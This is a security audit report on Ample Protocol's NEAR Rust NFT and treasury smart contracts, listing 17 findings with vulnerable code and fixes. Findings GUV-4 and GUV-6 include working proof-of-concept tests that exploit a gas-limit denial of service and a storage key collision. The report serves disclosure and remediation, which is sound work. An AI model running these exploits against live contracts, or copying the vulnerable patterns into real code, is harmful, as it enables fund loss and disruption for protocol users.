Canonical page: [Work & reports](https://www.guvenkaya.co/work) Report # Ample Protocol IP and Media Protocol Security Review [View PDF on GitHub](https://github.com/Guvenkaya/public-reports/blob/master/Ample-Protocol-NEAR-Rust-Smart-Contract-Security-Assessment.pdf) ![Ample Protocol logo](https://www.guvenkaya.co/v2/clients/ample.svg) - All findings 17 - Critical 8 - High 2 - Medium 4 - Low 1 - Informational 2 Date of engagement: 27th February 2024 - 6th March 2024 ![Timur Güvenkaya](https://www.guvenkaya.co/v2/portraits/timur-guvenkaya.png) Security review by ## Timur Guvenkaya [Meet the team](https://www.guvenkaya.co/about#team) ## About Us Guvenkaya is a security research firm specializing in Rust security, Web3 security of Rust-based protocols, and Web2 security. With our expertise, we provide both security auditing services and custom security solutions ## About Ample Ample Protocol is a premier IP + media protocol providing launchpad, distribution and streaming rails powered by film, show and music digital assets ## Audit Results Guvenkaya conducted a security assessment of the Ample series and treasury smart contracts from 27th February 2024 to 6th March 2024. During this engagement, a total of 17 findings were reported. 8 of the findings were critical, 2 high, 4 medium, and the remaining were informational severity. All major issues are fixed by the Ample team. ## Project Scope Lines of Code Reviewed: 2471 NFT Series Smart Contract | Files | Link | | ----------- | -------------------------------------------------------------------------------------------------------------------- | | Approval | | | Enumeration | | | Events | | | Internal | | | Lib | | | Metadata | | | Files | Link | | ------------ | --------------------------------------------------------------------------------------------------------------------- | | NFT Core | | | Owner | | | Royalty | | | Series | | | Treasury Ext | | Treasury Smart Contract | Files | Link | | ----------- | ----------------------------------------------------------------------------------------------------------- | | Accounts | | | Analytics | | | Collections | | | Content | | | Files | Link | | --------- | --------------------------------------------------------------------------------------------------------- | | Lib | | | Royalties | | | Types | | | Utils | | ## Out of Scope The audit will include, but is not limited to, reviewing the code for security vulnerabilities, coding practices, and architecture. The audit does not include a review of the dependencies. ## Timeline 1. Start of the audit 27th February 2024 2. Draft report 6th March 2024 3. Final report 1st June 2024 ## Methodology - RESEARCH INTO PROJECT ARCHITECTURE - PREPARING ATTACK VECTORS - SETTING UP AN ENVIRONMENT - MANUAL CODE REVIEW OF THE CODE - ASSESSMENT OF RUST SECURITY ISSUES - ASSESSMENT OF NEAR SECURITY ISSUES - ASSESSMENT OF ARITHMETIC ISSUES - BUSINESS LOGIC VULNERABILITY ASSESSMENT - ONCHAIN TESTING USING NEAR WORKSPACES - BEST PRACTICES AND CODE QUALITY - CHECKING FOR CODE REFACTORING/SIMPLIFICATION POSSIBILITIES - ARCHITECTURE IMPROVEMENT SUGGESTIONS - PREPARING POCS AND/OR TESTS FOR EACH CRITICAL/HIGH/MEDIUM ISSUES ## Severity Breakdown ### Likelihood Ratings - Likely The vulnerability is easily discoverable and not overly complex to exploit. - Possible The vulnerability presents some challenges either in discovery or in the complexity of the attack. - Rare The vulnerability is either very difficult to discover or complex to exploit, or both. This matrix provides a nuanced view, taking into account both the ease of discovering a vulnerability and the complexity involved in exploiting it. ### Impact - Severe The vulnerability is easily discoverable and not overly complex to exploit. - Moderate The vulnerability presents some challenges either in discovery or in the complexity of the attack. - Negligible The vulnerability is either very difficult to discover or complex to exploit, or both. ### Severity Ratings - Critical Assigned to vulnerabilities with severe impact and a likely likelihood of exploitation. - High For vulnerabilities with either severe impact but only a possible likelihood, or moderate impact with a likely likelihood. - Medium Used for vulnerabilities with severe impact but a rare likelihood, moderate impact with a possible likelihood, or negligible impact with a likely likelihood. - Low For vulnerabilities with moderate impact and rare likelihood, or negligible impact with a possible likelihood. - Informational The lowest severity rating, typically for vulnerabilities with negligible impact and a rare likelihood of exploitation. ### Likelihood Matrix | Attack Complexity / Discovery Ease | Obvious | Concealed | Hidden | | ---------------------------------- | -------- | --------- | -------- | | Complex | Possible | Rare | Rare | | Moderate | Likely | Possible | Rare | | Straightforward | Likely | Possible | Possible | ### Likelihood/Impact Matrix | Likelihood / Impact | Severe | Moderate | Negligible | | ------------------- | -------- | -------- | ------------- | | Likely | Critical | High | Medium | | Possible | High | Medium | Low | | Rare | Medium | Low | Informational | ## Findings Summary ### Remediation Complexity This measures how difficult it is to fix the vulnerability once it has been identified. - Simple Patches or fixes are readily available and easily implemented. - Moderate Requires some time and resources to remediate, but well within the capabilities of most organizations. - Difficult Remediation requires significant resources, specialized skills, or substantial changes to systems or architecture. ### Status This measures how difficult it is to fix the vulnerability once it has been identified. - Not Fixed Indicates that the vulnerability has been identified but no remedial action has been taken yet. This status is crucial for newly discovered vulnerabilities or those awaiting prioritization. - Fixed This status is applied when the vulnerability has been successfully remediated. It implies that appropriate measures (like patching, configuration changes, or architectural modifications) have been implemented to resolve the issue. - Acknowledged This status is used for vulnerabilities that have been recognized, but for various reasons (such as risk acceptance, cost, or other business decisions), have not been fixed. It indicates that the risk posed by the vulnerability is known and has been consciously accepted. | Finding | Impact | Likelihood | Severity | Remediation complexity | Remediation status | | ----------------------------------------------------------------------------------- | ---------- | ---------- | ------------- | ---------------------- | ------------------ | | [GUV-1: Anyone Can Update The NFT Holder In Treasury](#guv-1) | Severe | Likely | Critical | Simple | Fixed | | [GUV-2: Anyone Can Add Analytics](#guv-2) | Severe | Likely | Critical | Simple | Fixed | | [GUV-3: Anyone Can Add Content](#guv-3) | Severe | Likely | Critical | Simple | Fixed | | [GUV-4: DoS of Adding Analytics Functionality Due To Gas Limit](#guv-4) | Severe | Likely | Critical | Simple | Fixed | | [GUV-5: DoS of Adding Analytics Functionality Due To Log Limit](#guv-5) | Severe | Likely | Critical | Simple | Fixed | | [GUV-6: Storage Key Collisions Due To Missing Separator](#guv-6) | Severe | Likely | Critical | Moderate | Fixed | | [GUV-7: Multiple Storage Key Collisions Due To Block Timestamp Usage](#guv-7) | Severe | Likely | Critical | Moderate | Fixed | | [GUV-8: Users Can Transfer Ownership In Treasury Without Sending NFT](#guv-8) | Severe | Likely | Critical | Simple | Fixed | | [GUV-9: Users Can Create Series With Arbitrary Content Ids](#guv-9) | Moderate | Likely | High | Simple | Fixed | | [GUV-10: Unpayable NFT Royalties Due To Underflow](#guv-10) | Moderate | Likely | High | Simple | Fixed | | [GUV-11: Incorrect Cuts Calculation Due To Division Before Multiplication](#guv-11) | Negligible | Likely | Medium | Simple | Fixed | | [GUV-12: Usage Of Floating Point Arithmetic In The Smart Contract](#guv-12) | Moderate | Possible | Medium | Moderate | Fixed | | [GUV-13: NFT Contract Is Not Built Using NEAR Contract Standards](#guv-13) | Moderate | Possible | Medium | Complex | Acknowledged | | [GUV-14: Owner of NFT Can Set Arbitrary Royalty Payout Object](#guv-14) | Moderate | Possible | Medium | Complex | Acknowledged | | [GUV-15: Privileged Functions Are Not Protected By 2FA](#guv-15) | Moderate | Rare | Low | Simple | Fixed | | [GUV-16: Suboptimal Assertion Usage](#guv-16) | Negligible | Rare | Informational | Simple | Fixed | | [GUV-17: Contract Size Can Be Decreased](#guv-17) | Negligible | Rare | Informational | Simple | Fixed | ## Findings Details ### GUV-1: Anyone Can Update The NFT Holder In Treasury Critical We noticed that in both Nft Series and Treasury contracts, update\_holder function is public due to # \[near\_bindgen] macro on top of the impl block. It allows anyone to update the holder of NFT in the treasury contract to get access to content or claim royalty payments. nft\_series:treasury\_update\_holder:series/src/treasury\_ext.rs ``` #[near_bindgen] impl Contract { pub fn treasury_update_holder( &self, content_id: String, token_id: String, new_holder: AccountId, ) -> Promise { treasury_ext::ext("treasury.test.near".parse().unwrap()) .update_holder(content_id, token_id, new_holder) } } ``` treasury:update\_holder:treasury/src/collections.rs ``` #[near_bindgen] impl Contract { pub fn update_holder( &mut self, content_id: ContentId, token_id: TokenId, new_holder: AccountId, ){ // 1. Retrieve the collection using collection_by_content_id let collection = self.collection_by_content_id.get_mut(&content_id).unwrap(); ``` ``` // 2. Modify collection.holders_by_token_id to match the new holder, if no holder found, // crete the record collection .holders_by_token_id .insert(&token_id, &new_holder); } } ``` PROPOSED SOLUTION We propose removing the #\[near\_bindgen] macro from the impl block or restrict access using # \[private] macro. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=15) ### GUV-2: Anyone Can Add Analytics Critical We noticed that in the Treasury contract, add\_analytics\_data function is public due to # \[near\_bindgen] macro on top of the impl block. It allows anyone to add analytics to inflate their rewards for certain content. treasury:add\_analytics\_data:treasury/src/analytics.rs ``` #[near_bindgen] impl Contract { /** * This will be called periodically to upload ample usage metrics to the contract */ pub fn add_analytics_data(&mut self, bulk_analytics: Vec, timestamp: Timestamp) { // Iterate bulk data for BulkAnalytics { content_id, streams, } in bulk_analytics.iter() ... ``` PROPOSED SOLUTION We propose removing the #\[near\_bindgen] macro from the impl block or restrict access using # \[private] macro. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=17) ### GUV-3: Anyone Can Add Content Critical We noticed that in the Treasury contract, add\_content function is public due to #\[near\_bindgen] macro on top of the impl block. It allows anyone to add add\_content with any ownesrhip, or royalty settings. treasury:add\_content:treasury/src/content.rs ``` #[near_bindgen] impl Contract { /** * creates a new content and collection in the contract */ pub fn add_content(&mut self, content: ReceivedContent, collection: ReceivedCollection) { // convert team vector to UnorderedMap let mut team: Option>; if content.team.is_some() { team = Some(UnorderedMap::new( env::block_timestamp().try_to_vec().unwrap(), )); ... ``` PROPOSED SOLUTION We propose removing the #\[near\_bindgen] macro from the impl block or restrict access using # \[private] macro. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=18) ### GUV-4: DoS of Adding Analytics Functionality Due To Gas Limit Critical We noticed that in the Treasury contract, add\_analytics\_data function iterates over holders by token id. Since you can have large number of holders, it can lead to a DoS attack by consuming all the gas. Malicious actor create a series with a price of 1 and then keep minting new tokens until the holders\_by\_token collections reaches the size which consumes all the gas once add\_analytics\_data is called. treasury:add\_analytics\_data:treasury/src/analytics.rs ``` // populate holders_by_token_id clone for (token_id, holder_account) in collection.holders_by_token_id.iter() { holders_by_token_id.insert(&token_id.clone(), &holder_account.clone()); } ``` POC poc:dos\_of\_adding\_analytics ``` #[tokio::test] async fn dos_of_adding_analytics() -> color_eyre::Result<()> { let EnvData { series_contract, malicious_account, malicious_account2, treasury_contract, .. } = prepare().await?; ``` ``` let outcome = series_contract .call("add_approved_creator") .args_json(json!({"account_id": malicious_account.id()})) .transact() .await?; ``` println!("Added creator: {} | {:#?}", malicious\_account.id(), outcome); ``` let metadata = TokenMetadata { title: None, copies: Some(500), reference: None, reference_hash: None, description: None, media: None, media_hash: None, issued_at: None, extra: None, updated_at: None, }; ``` poc:dos\_of\_adding\_analytics ``` let mut royalty = HashMap::new(); for i in 0..2 { royalty.insert(format!("{i}someaccount.near"), 100_u32); } let outcome = malicious_account .call(series_contract.id(), "create_series") .args_json(json!({"id": 2, "metadata": metadata, "content_id": "content", "owner": malicious_account.id(), "royalty": Some(royalty), "price": "1"})).max_gas().deposit(NearToken::from_near(1).into()) .transact().await?.into_result()?; ``` println!("added new series: {outcome:#?}"); ``` let received_content = ReceivedContent { content_id: "content".to_string(), content_type: "video".to_string(), owner_id: malicious_account.id().clone(), royalty: Royalty { owner: 10, team: Some(2), holders: Some(1),}, team: Some(vec![TeamMember { id: malicious_account2.id().clone(), percentage: 1,}]), }; let received_collection = ReceivedCollection { collection_id: 2, total_supply: 200, }; ``` poc:dos\_of\_adding\_analytics ``` let outcome = malicious_account2 .call(treasury_contract.id(), "add_content").args_json( json!({"content": received_content, "collection": received_collection}), ).transact().await?.into_result()?; println!("added_content: {outcome:#?}"); let mut i = 0; while i < 100 { malicious_account .call(series_contract.id(), "nft_mint").args_json( json!({"id": "2", "receiver_id": malicious_account2.id()}), ``` ``` ).deposit(NearToken::from_millinear(10).into()).transact().await?.into_result()?; println!("ADDED: {i}"); i += 1; } ``` ``` let analytics = BulkAnalytics { content_id: "content".to_string(), streams: 10.0_f64, }; ``` ``` let outcome = treasury_contract .call("add_analytics_data").args_json( json!({"bulk_analytics": vec![analytics], "timestamp":10000000_u64}), ).transact().await?; ``` ``` for log in outcome.logs() { println!("LOG: {log}"); } println!("OUTCOME: {outcome:#?}"); Ok(())} ``` PROPOSED SOLUTION Make sure there is a limit on how many holders can be per series. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=19) ### GUV-5: DoS of Adding Analytics Functionality Due To Log Limit Critical We noticed that in the Treasury contract, add\_analytics\_data function iterates over holders by token id. For every iteration log is emitted. Since you can have large number of holders, it can lead to a DoS attack by hitting 100 log limit. Malicious actor create a series with a price of 1 and then keep minting new tokens until the holders\_by\_token collections reaches the size which will lead to the log limit once add\_analytics\_data is called. treasury:add\_analytics\_data:treasury/src/analytics.rs ``` // holders for (_, holder_account) in holders_by_token_id.iter() { log!( "Adding {} streams to {}", &streams_per_holder, &holder_account ); self.add_streams_to(&holder_account, content_id, streams_per_holder); } ``` PROPOSED SOLUTION Make sure there is a limit on how many holders can be per series. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=24) ### GUV-6: Storage Key Collisions Due To Missing Separator Critical We noticed that in the Series contract, create\_series function creates a storage key for tokens by appending given series id with account id of the caller. However, there is no separator between them. This combination can lead to the storage key collision: series\_id = 2 account\_id = 2clashing.test.near storage\_key = sha256(22clashing.test.near) series\_id\_2 = 22 account\_id\_2 = clashing.test.near storage\_key\_2 = sha256(22clashing.test.near) storage\_key\_2 == storage\_key series:create\_series:series/src/series.rs ``` // Insert the series and ensure it doesn't already exist require!( self.series_by_id .insert( &id, &Series { metadata, royalty, tokens: UnorderedSet::new( StorageKey::SeriesByIdInner { // We get a new unique prefix for the collection account_id_hash: hash_account_id(&format!( "{}{}", id, caller )), } ), ... ``` poc:series\_hash\_collission ``` async fn series_hash_collission() -> color_eyre::Result<()> { let EnvData { series_contract, malicious_account, worker, .. } = prepare().await?; ``` ``` let sk = SecretKey::from_random(KeyType::ED25519); ``` ``` let acc1 = worker .create_tla("2clashing.test.near".parse::()?, sk) .await? .unwrap(); ``` ``` let sk = SecretKey::from_random(KeyType::ED25519); ``` ``` let acc2 = worker .create_tla("clashing.test.near".parse::()?, sk) .await? .unwrap(); ``` poc:series\_hash\_collission ``` let outcome = series_contract .call("add_approved_minter") .args_json(json!({"account_id": acc1.id()})).transact().await?; println!("Added minter: {} | {:#?}", acc1.id(), outcome); ``` ``` let outcome = series_contract .call("add_approved_minter") .args_json(json!({"account_id": acc2.id()})).transact().await?; println!("Added minter: {} | {:#?}", acc2.id(), outcome); ``` ``` let outcome = series_contract .call("add_approved_creator") .args_json(json!({"account_id": acc1.id()})).transact().await?; println!("Added creator: {} | {:#?}", acc1.id(), outcome); ``` ``` let outcome = series_contract .call("add_approved_creator") .args_json(json!({"account_id": acc2.id()})).transact().await?; println!("Added creator: {} | {:#?}", acc2.id(), outcome); ``` ``` let metadata = TokenMetadata { title: None, copies: None, reference: None, reference_hash: None, description: None, media: None, media_hash: None, issued_at: None, extra: None, updated_at: None, }; ``` poc:series\_hash\_collission ``` let outcome = acc1 .call(series_contract.id(), "create_series") .args_json(json!({"id": 2, "metadata": metadata, "content_id": "content", "owner": acc1.id()})).deposit(NearToken::from_near(1).into()) .transact().await?; println!("added new series: {outcome:#?}"); ``` ``` let outcome = acc2 .call(series_contract.id(), "create_series") .args_json(json!({"id": 22, "metadata": metadata, "content_id": "content", "owner": acc2.id()})).deposit(NearToken::from_near(1).into()) .transact().await?; println!("added new series: {outcome:#?}"); ``` ``` let outcome = acc1 .view(series_contract.id(), "nft_tokens_for_series") .args_json(json!({"id":2})).await?.json::>()?; println!("Tokens 2: {outcome:#?}"); ``` ``` let outcome = acc1 .view(series_contract.id(), "nft_tokens_for_series") .args_json(json!({"id":22})).await?.json::>()?; println!("Tokens 22: {outcome:#?}"); ``` ``` let outcome = acc1 .call(series_contract.id(), "nft_mint") .args_json(json!({"id": "2", "receiver_id": malicious_account.id()})) .deposit(NearToken::from_near(1).into()).transact().await?; println!("Minted nft: {outcome:#?}"); ``` poc:series\_hash\_collission ``` let outcome = acc2 .call(series_contract.id(), "nft_mint") .args_json(json!({"id": "22", "receiver_id": malicious_account.id()})) .deposit(NearToken::from_near(1).into()).transact().await?; println!("Minted nft: {outcome:#?}"); ``` ``` let outcome = acc1 .view(series_contract.id(), "nft_tokens_for_series") .args_json(json!({"id":2})).await?.json::>()?; println!("Tokens 2: {outcome:#?}"); ``` ``` let outcome = acc1 .view(series_contract.id(), "nft_tokens_for_series") .args_json(json!({"id":22})).await?.json::>()?; println!("Tokens 22: {outcome:#?}"); Ok(())} ``` PROPOSED SOLUTION Consider adding a separator such as ":" to not have a storage collission REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=25) ### GUV-7: Multiple Storage Key Collisions Due To Block Timestamp Usage Critical We noticed that accross the system env::block\_timestamp is used to create a unique key for storage. Since the block timestamp is the same during the execution, it can lead to storage collission if it is used to set the storage key of multiple data structures or if the batch transaction is performed treasury:add\_analytics\_data:treasury/src/analytics.rs ``` else { let mut new_analytics = Vector::new(env::block_timestamp().try_to_vec().unwrap()); new_analytics.push(&new_analytic); ``` ``` self.analytics_by_content_id .entry(content_id.clone()) .or_insert(new_analytics); } ... let mut team_members: UnorderedMap = UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap()); let mut holders_by_token_id: UnorderedMap = UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap()); ... ``` treasury:claim\_royalties:treasury/src/royalties.rs ``` match self.claims_by_account.get_mut(&caller_account) { Some(claims) => { claims.push(&Claim { timestamp: env::block_timestamp_ms(), claimed: royalties, }); } None => { let mut new_claim = Vector::new(env::block_timestamp().try_to_vec().unwrap()); new_claim.push(&Claim { timestamp: env::block_timestamp_ms(), claimed: royalties, }); ``` ``` self.claims_by_account .insert(caller_account.clone(), new_claim); } } ... ``` treasury:add\_content:treasury/src/content.rs ``` if content.team.is_some() { team = Some(UnorderedMap::new( env::block_timestamp().try_to_vec().unwrap(), )); ... let new_collection = Collection { collection_id: collection.collection_id, total_supply: collection.total_supply, holders_by_token_id: UnorderedMap::new((env::block_timestamp().try_to_vec().unwrap())), }; ... match self.contents_by_owner.get_mut(&content.owner_id.clone()) { Some(contents) => { contents.push(&content.content_id.clone()); } None => { let mut new_contents = Vector::new(env::block_timestamp().try_to_vec().unwrap()); new_contents.push(&content.content_id.clone()); ``` ``` self.contents_by_owner .insert(content.owner_id.clone(), new_contents); } } ``` treasury:add\_streams\_to:treasury/src/accounts.rs ``` else { // if don't exists, create a new record self.streams_by_account.insert( account_id.clone(), UnorderedMap::new(env::block_timestamp().try_to_vec().unwrap()), ); ... ``` PROPOSED SOLUTION Consider creating unique keys for storage using unique identifiers. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=30) ### GUV-8: Users Can Transfer Ownership In Treasury Without Sending NFT Critical We noticed that in the ft\_resolve transfer if the NFT transfer was either unsuccesful or the NFT token should be returned per nft\_on\_transfer, nft holder is not reverted back in the treasury contract. It leads to situations where the user can call nft\_transfer\_call, and inside of nft\_on\_transfer return true to specify that the NFT should be returned. This will cause the state revert inside of the nft\_resolve\_transfer, but on treasury the receiver still will be the owner of the NFT. series:nft\_transfer\_payout:series/src/royalty.rs ``` fn nft_resolve_transfer(...) -> bool { // Whether receiver wants to return token back to the sender, based on nft_on_transfer call result. if let PromiseResult::Successful(value) = env::promise_result(0) { //As per the standard, the nft_on_transfer should return whether we should return the token to it's owner or not if let Ok(return_token) = near_sdk::serde_json::from_slice::(&value) { if !return_token {...}}} ``` ``` let mut token = if let Some(token) = self.tokens_by_id.get(&token_id) { if token.owner_id != receiver_id {...} token } else {...}; ``` self.internal\_remove\_token\_from\_owner(\&receiver\_id.clone(), \&token\_id); self.internal\_add\_token\_to\_owner(\&owner\_id, \&token\_id); token.owner\_id = owner\_id.clone(); refund\_approved\_account\_ids(receiver\_id.clone(), \&token.approved\_account\_ids); token.approved\_account\_ids = approved\_account\_ids; self.tokens\_by\_id.insert(\&token\_id, \&token); ... PROPOSED SOLUTION Consider reverting the ownership of the NFT in the treasury contract by calling the treasury\_update\_holder function inside of the nft\_resolve\_transfer. Alternatively, treasury\_update should happen only after the REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=34) ### GUV-9: Users Can Create Series With Arbitrary Content Ids High We noticed that users can create series with arbitrary content ids which can lead to situations where the nft transfer happened but it was not reflected in the treasury contract due to panic on cross contract call via treasury\_update\_holder. Panic happens because the update\_holder function in the treasury tries to retrieve the collection from the collection\_by\_content\_id but if the content\_id does not exist, it panics on unwrap(). treasury:update\_holder:treasury/src/accounts.rs ``` pub fn update_holder( &mut self, content_id: ContentId, token_id: TokenId, new_holder: AccountId, ){ // 1. Retrieve the collection using collection_by_content_id let collection = self.collection_by_content_id.get_mut(&content_id).unwrap(); ``` PROPOSED SOLUTION Make sure to only allow content\_ids that exist in the treasury contract REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=36) ### GUV-10: Unpayable NFT Royalties Due To Underflow High We noticed that if series contains a large number of royalties, during the nft\_transfer\_payout execution, the contract can panic due to underflow on royalty\_to\_payout. This leads to some of the tokens to be unpayable. series:nft\_payout:series/src/royalty.rs ``` // payout to previous owner who gets 100% - total perpetual royalties payout_object.payout.insert( owner_id, royalty_to_payout(10000 - total_perpetual, balance_u128), ); ``` PROPOSED SOLUTION Consider using saturating\_sub if having 0 as the minimum value is acceptible. Otherwise make sure that total perpetual is smaller than 10000. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=37) ### GUV-11: Incorrect Cuts Calculation Due To Division Before Multiplication Medium We noticed that the calculate\_cuts function in the treasury contract first divides the percentage and then multiplies it by the streams. This can lead to incorrect cuts calculation since the value floors during the division treasury:calculate\_cuts:series/src/utils.rs ``` pub(crate) fn calculate_cuts(percentage: f64, streams: f64) -> f64 { let result: f64 = (percentage as f64 / 100.0) * streams; result } ``` PROPOSED SOLUTION Consider first multiplying the streams by percentage and then dividing it by 100 REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=38) ### GUV-12: Usage Of Floating Point Arithmetic In The Smart Contract Medium We noticed that the accross the treasury the floating point arithmetic is used. Floating point arithmetic is not advised to be used in smart contracts due to the precision and rounding it can lead to. treasury:add\_analytics\_data:treasury/src/analytics.rs ``` // calculate the total cut for each account of holders based on the collection's total_supply of nfts and holder's cut let holders_cut = calculate_cuts(royalty.holders.unwrap_or(0) as f64, *streams); let holder_percentage = 100.0 / collection.total_supply as f32; let streams_per_holder = calculate_cuts(holder_percentage as f64, holders_cut); ``` PROPOSED SOLUTION Consider rewriting all the code with fixed point arithmetic. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=39) ### GUV-13: NFT Contract Is Not Built Using NEAR Contract Standards Medium We noticed that the nft contract is custom built and shares a lot of code with the commonly used and battle tested NEAR Contract Standards NFT Contract. To avoid any potential issues with implementation, it is advised to simply use the NEAR Contract Standards NFT Contract. PROPOSED SOLUTION Consider rewriting the core functionality of the nft contract using the NEAR Contract Standards NFT Contract. NEAR Contract Standards REMEDIATION - Acknowledged The Ample Protocol team has acknowledged the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=40) ### GUV-14: Owner of NFT Can Set Arbitrary Royalty Payout Object Medium We noticed that in the series contract, the owner of the series can set arbitrary royalty payout for the token by setting balance argument in the nft\_transfer\_payout. Even though the nft\_transfer\_payout does not modify external state, per discussions with Ample protocol team it is unclear yet how it will be used considering there is no onchain royalty distribution system which relies on the Payout object. If used offchain, there might be unexpected issues especially if offchain listener is involved since listener can pick up any Payout object even if it was manipulated via the balance argument. series:nft\_transfer\_payout:series/src/royalty.rs ``` fn nft_transfer_payout( &mut self, receiver_id: AccountId, token_id: TokenId, approval_id: u64, memo: Option, balance: U128, max_len_payout: u32, ) -> Payout { ... if royalty_option.is_none() { let mut payout = HashMap::new(); payout.insert(owner_id, balance); return Payout { payout }; } ``` PROPOSED SOLUTION The purpose of nft\_transfer\_payout is to allow NFT marketplaces to distribute royalty rewards on each NFT sale in their callbacks by making a cross contract call to the nft to perform transfer and get the Payout obhect . However, in Ample protocol there is neither a martketplace contract nor any other onchain royalty distribution system. In the current scenario nft\_transfer\_payout is no different from nft\_transfer. In addition, all royalty calculations/additions are happenning in the treasury contract without any connection with the NFT series contract. Unless there is planned an offchain royalty distribution system, which does not rely on function lister (since balance argument can be manipulated), it is advised to remove the nft\_transfer\_payout function. REMEDIATION - ACKNOWLEDGED The Ample Protocol team has acknowledged the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=41) ### GUV-15: Privileged Functions Are Not Protected By 2FA Low We noticed that none of the privileged/important functions are protected by two-factor authentication (2FA) such as claim\_royalties. In the NEAR scenario, 2FA prompts a user to sign a transaction if a deposit is attached to it. There are two types of access keys: Full and Function. Function access keys are primarily used by front-ends to perform actions on behalf of the user without constantly prompting them to sign a transaction. However, if the front-end is compromised, a malicious actor might exploit the function access key to attack the protocol. If the function access key is added to an admin or owner account, the malicious actor could potentially perform actions within the protocol on their behalf. PROPOSED SOLUTION Consider adding assert\_one\_yocto to all privileged functions. This prevents the use of function access keys to call those functions. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=42) ### GUV-16: Suboptimal Assertion Usage Informational We noticed that across system assert! is used to check for the conditions. Assert is suboptimal to use since it prints a lot of unnecessary bloat such as the file location and the code line upon panic. series:nft\_transfer\_payout:series/src/royalty.rs ``` //make sure we're not paying out to too many people (GAS limits this) assert!( royalty.len() as u32 <= max_len_payout, "Market can¬ payout to that many receivers" ); ``` PROPOSED SOLUTION Consider using require instead of assert. REMEDIATION - ACKNWOLEDGED The Ample Protocol team has acknowledged the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=43) ### GUV-17: Contract Size Can Be Decreased Informational We noticed that the crate type is set as both cdylib and rlib. However, since NEAR smart contracts are compiled to WASM, rlib is unnecessary. Eliminating rlib can significantly reduce the size of the generated WASM binary. cargo.toml \[lib] crate-type = \["cdylib", "rlib"] PROPOSED SOLUTION Consider removing rlib to decrease the contract size. REMEDIATION - FIXED The Ample Protocol team has fixed the issue. [View this finding in the original PDF](https://www.guvenkaya.co/reports/pdfs/ample.pdf#page=44) Source: [published GitHub report](https://github.com/Guvenkaya/public-reports/blob/master/Ample-Protocol-NEAR-Rust-Smart-Contract-Security-Assessment.pdf) · 44 pages. The original PDF includes the source formatting, figures, and linked references. ## Table of Contents - [Overview](#overview) - [About Us](#about-us) - [About Ample](#about-ample) - [Audit Results](#audit-results) - [Project Scope](#project-scope) - [Out of Scope](#out-of-scope) - [Timeline](#timeline) - [Methodology](#methodology) - [Severity Breakdown](#severity-breakdown) - [Findings Summary](#findings-summary) - [Findings Details](#findings-details) ## Share [Share on X](https://twitter.com/intent/tweet?url=https%3A%2F%2Fwww.guvenkaya.co%2Freports%2Fample\&text=Ample%20Protocol%3A%20IP%20and%20Media%20Protocol%20Security%20Review) [Share on LinkedIn](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Fwww.guvenkaya.co%2Freports%2Fample) [Share on Threads](https://www.threads.net/intent/post?text=Ample%20Protocol%3A%20IP%20and%20Media%20Protocol%20Security%20Review%20https%3A%2F%2Fwww.guvenkaya.co%2Freports%2Fample) [Discuss a security review](https://www.guvenkaya.co/contact?source=report) [View PDF on GitHub](https://github.com/Guvenkaya/public-reports/blob/master/Ample-Protocol-NEAR-Rust-Smart-Contract-Security-Assessment.pdf) ## Tell us what you need to secure. Describe your system, main concern, and deadline. We will reply with scoping questions and a proposed next step. [Discuss your scope](https://www.guvenkaya.co/contact?source=report)